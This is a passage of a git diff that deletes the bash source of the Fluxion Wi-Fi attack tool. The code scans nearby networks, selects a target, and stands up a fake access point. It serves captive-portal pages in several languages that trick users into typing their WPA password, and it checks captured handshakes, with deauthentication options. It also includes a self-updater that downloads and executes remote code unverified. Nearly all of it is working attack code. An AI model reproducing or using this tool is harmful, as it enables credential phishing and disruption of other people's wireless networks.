-CeM1di9AR3hREYPQgCWnzJ89Iw7JNiA2f6i57cnLl3Do0WeHhcS0InvnVXxN24lMNyy/Yd7rd4fn -ec3y+LKaSYo43HGaFw4WL7otqMi37zHS0SNlkP1I9qs8+7f8fQ5DKudLk55V1j8GrAiRNO82Wrnq -4dHRJTC+1flgVE2Pfv47WgPkH9FUjjhN39Gnn3/+xzAXdepOfmA6isLCewo3k8MtiW3XBiEJLzAN -55nymRdw6ueXcgQbrmbt2EkzducW/vlfUEsBAh4DFAAAAAgARnzORIn0cA+OggAAxG0BABMAGAAA -AAAAAQAAAKSBAAAAAGpxdWVyeS0xLjguMy5taW4uanNVVAUAA1RPnFN1eAsAAQQAAAAABAAAAABQ -SwECHgMUAAAACAC3e85EqOffJSZMAADtFAIAFwAYAAAAAAABAAAApIHbggAAanF1ZXJ5Lm1vYmls -ZS0xLjMuMi5jc3NVVAUAA0lOnFN1eAsAAQQAAAAABAAAAABQSwECHgMUAAAACAB1fM5EEp6tqmiH -AQBregUAFgAYAAAAAAABAAAApIFSzwAAanF1ZXJ5Lm1vYmlsZS0xLjMuMi5qc1VUBQADrk+cU3V4 -CwABBAAAAAAEAAAAAFBLBQYAAAAAAwADABIBAAAKVwIAAAA= -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/nightly/0.17/fluxion/fluxion.1/fluxion b/nightly/0.17/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.17/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.17/fluxion/fluxion.2/fluxion b/nightly/0.17/fluxion/fluxion.2/fluxion deleted file mode 100644 index 2d2c36e..0000000 --- a/nightly/0.17/fluxion/fluxion.2/fluxion +++ /dev/null @@ -1,4658 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=2 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUXION $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}luxion" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" - echo - echo -} - -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "LUXFLUXFLUX UXF UXF UX UX LX OXLXLLX" - sleep 0.1 && echo -e $red "LU UX XF UXF FL FL LX OL ÖX" - sleep 0.1 && echo -e $red "LUXFLU UX XF UXF LUXF UX LX LX" - sleep 0.1 && echo -e $red "LUXFL UX XF UXF LUX UX LX LX" - sleep 0.1 && echo -e $red "LU UX XF UXF FLUXF LX LX PX" - sleep 0.1 && echo -e $red "LU UX XFL UXF XFL FL UX ÖX OX" - sleep 0.1 && echo -e $red "LU UXFLUXFL FLUXFLUX XF LUXF UX ÄXÄÄXÄ" - echo "" - - sleep 1 - echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green }MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" 